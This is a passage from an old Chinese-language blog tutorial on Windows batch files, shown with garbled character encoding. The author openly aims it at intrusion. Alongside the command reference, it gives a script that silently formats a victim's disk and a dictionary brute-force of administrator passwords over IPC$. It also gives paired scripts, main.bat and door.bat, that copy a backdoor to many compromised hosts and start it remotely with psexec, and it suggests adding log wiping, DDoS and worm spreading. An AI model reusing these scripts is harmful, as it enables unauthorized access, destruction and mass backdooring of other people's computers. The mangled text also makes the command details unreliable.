]]>批处理教E?/title>http://m.tkk7.com/zgghc/articles/55686.html牧月?/dc:creator>牧月?/author>Thu, 29 Jun 2006 02:24:00 GMThttp://m.tkk7.com/zgghc/articles/55686.htmlhttp://m.tkk7.com/zgghc/comments/55686.htmlhttp://m.tkk7.com/zgghc/articles/55686.html#Feedback0http://m.tkk7.com/zgghc/comments/commentRss/55686.htmlhttp://m.tkk7.com/zgghc/services/trackbacks/55686.html>l新手朋友们.也献l所有ؓ实现|络的自׃׃n而努力的朋友?
批处理文件是无格式的文本文gQ它包含一条或多条命o。它的文件扩展名?.bat ?.cmd。在命o提示下键入批处理文g的名Uͼ或者双击该批处理文Ӟpȝ׃调用Cmd.exe按照该文件中各个命o出现的顺序来逐个q行它们。用批处理文gQ也被称为批处理E序或脚本)Q可以简化日常或重复性Q务。当然我们的q个版本的主要内Ҏ介绍批处理在入R中一些实际运用,例如我们后面要提到的用批处理文g来给pȝ打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧?
一.单批处理内部命o?
1.Echo 命o
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?
语法
echo [{on|off}] [message]
SampleQ@echo off / echo hello world
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?
2.@ 命o
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?
SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?
3.Goto 命o
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?
语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?
if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?
4.Rem 命o
注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?
Rem Message
SampleQ@Rem Here is the description.
5.Pause 命o
q行 Pause 命oӞ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?
@echo off
:begin
copy a:*.* dQ\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?
6.Call 命o
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?
7.start 命o
调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?
入R常用参数Q?
MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?
REALTIME ?REALTIME 优先U类别开始应用程?
WAIT 启动应用E序q等候它l束
parameters q些Z送到命o/E序的参?
执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?
8.choice 命o
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234…?
? choice /c:dme defrag,mem,end
显C?
defrag,mem,end[D,M,E]?
SampleQ?
Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?
9.If 命o
if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?
1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文g名 待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?
如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???
10.for 命o
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?
在批处理文g中?FOR 命oӞ指定变量请?%%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?
(set) 指定一个或一l文件。可以用通配W?
command 指定Ҏ个文件执行的命o?
command-parameters 为特定命令指定参数或命o行开兟?
在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配W,则指定与目录名匹配,而不与文?
名匹配?
FOR /R [[drive:]path] %variable IN (set) DO command [command-
查以 [drive:]path 为根的目录树Q指向每个目录中?
FOR 语句。如果在 /R 后没有指定目录,则用当?
目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量Ş式从开始到l束的一个数字序列?
因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?
序列 (5 4 3 2 1)?
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
或者,如果?usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?
处理包括d文gQ将其分成一行行的文字,然后每?
解析成零或更多的W号。然后用已找到的W号字符串变量?
调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。您可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?
delims=xxx - 指分隔符集。这个替换了I格和蟩格键?
默认分隔W集?
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?
usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命oq允许在 fi
中用双引号扩v文g名称?
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分?myfile.txt 中的每一行,忽略以分h头的那些行,?
每行中的W二个和W三个符号传递给 for E序体;用逗号??
I格定界W号。请注意Q这?for E序体的语句引用 %i ?
取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,您需要用双引号将文g名括h。ؓ了用q种方式来
用双引号Q您q需要?usebackq 选项Q否则,双引号会
被理解成是用作定义某个要分析的字W串的?
%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一?
指定最?26 个符P只要不试图说明一个高于字?'z' ?
'Z' 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?
您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?
用单引号括号之间的 filenameset 括v来。这P该字W?
串会被当作一个文件中的一个单一输入行?
最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会
被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进
内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚丑ֽ前环境中的环境变量名U?
另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?
%~dI - 仅将 %I 扩充C个驱动器?
%~pI - 仅将 %I 扩充C个\?
%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?
%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?
未被定义Q或者没有找到文Ӟ此组合键会扩?
I字W串
可以l合修饰W来得到多重l果:
%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?
%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?
%~ftzaI - ?%I 扩充到类D出线路的 DIR
在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?
sample2Q?
利用For命o来实现对一台目标Win2kL的暴力密码破解?
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命o成功完成">>D:\ok.txt Q这样就ko了?
sample3Q?
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?
主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?
而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?
delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?
代码雏ŞQ?
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?
可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?
ps:一.如何在批处理文g中用参?
批处理中可以使用参数Q一般从1%?9%q九个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?
sample1Qfomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^
sample2Q?
当我们要建立一个IPC$q接地时候总要输入一大串命oQ弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o了?
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?
@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学会了^_^.No.3
?如何使用l合命o(Compound Command)
1.&
UsageQ第一条命?& W二条命?[& W三条命?..]
用这U方法可以同时执行多条命令,而不命令是否执行成?
SampleQ?
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
UsageQ第一条命?&& W二条命?[&& W三条命?..]
用这U方法可以同时执行多条命令,当碰到执行出错的命o后将不执行后面的命oQ如果一直没有出错则一直执行完所有命令;
SampleQ?
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 &